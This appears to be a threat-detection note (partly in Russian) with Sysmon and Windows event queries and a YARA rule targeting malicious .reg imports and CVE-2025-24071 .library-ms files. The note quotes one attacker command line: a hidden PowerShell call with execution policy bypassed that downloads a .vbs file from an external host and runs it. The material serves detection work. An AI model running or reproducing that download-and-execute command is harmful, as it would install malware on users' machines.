logman create trace "Microsoft-Windows-Kernel-File" -p Microsoft-Windows-Kernel-File -o "C:\Logs\Microsoft-Windows-Kernel-File.etl"

reg-файлы позволяют изменить значения ключей реестра.

"regedit.exe" "C:\Users\admin\Downloads\pdf_graphics.reg"  

cmd.exe /c powershell -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Invoke-WebRequest -Uri 'https://support.zyfex.free.hr/down/maze.vbs' -OutFile '%TEMP%\maze.vbs'; Start-Process '%TEMP%\maze.vbs

ProviderName="Microsoft-Windows-Sysmon" and EventId=1 and Image endswith "regedit.exe" and CommandLine="\.reg($|\s)

ProviderName="Microsoft-Windows-Sysmon" and  EventId = 11 and TargetFilename = "?:\Users\.*\.reg"

ProviderName="Microsoft-Windows-Sysmon" and  EventId = 15 and TargetFilename endswith ".reg:Zone.Identifier" and Contents=".*ZoneId=3.*"

ProviderName="Microsoft-Windows-Security-Auditing" and EventId=5156 and DestAddress not in [10.0.0.0/8
, 172.16.0.0/12, 169.254.0.0/16] and DestPort=445
  

ProviderName="Microsoft-Windows-Sysmon" and EventId=3 and DestinationIp not in [10.0.0.0/8
, 172.16.0.0/12, 169.254.0.0/16] and DestinationPort=445

ProviderName="Microsoft-Windows-Sysmon" and EventId=11 and TargetFileName endswith  "\\Users\\.*\.library-ms"

rule detect_malicious_library_ms {
    meta:
        description = "Detects library-ms files with a search connector pointing"
        author = "@d3f0x0 @detectioneasy"
        reference = "CVE-2025-24071"
        date = "2025-03-19"
        score = 80

    strings:
        $xml_decl = /<\?xml\s+version\s*=\s*["']1\.0["']\s+encoding\s*=\s*["']UTF-8["']\s*\?>/ nocase
        
        $namespace = "http://schemas.microsoft.com/windows/2009/library"
        
        $url_pattern1 = /<url\b[^>]*>\s*\\\\/ wide ascii
        $url_pattern2 = /<\/url>/ wide ascii

        $connector_open = "<searchConnectorDescription>" wide ascii
        $connector_close = "</searchConnectorDescription>" wide ascii

    condition:
        all of ($xml_decl, $namespace, $url_pattern1, $url_pattern2 ) and
        2 of ($connector_open, $connector_close)
}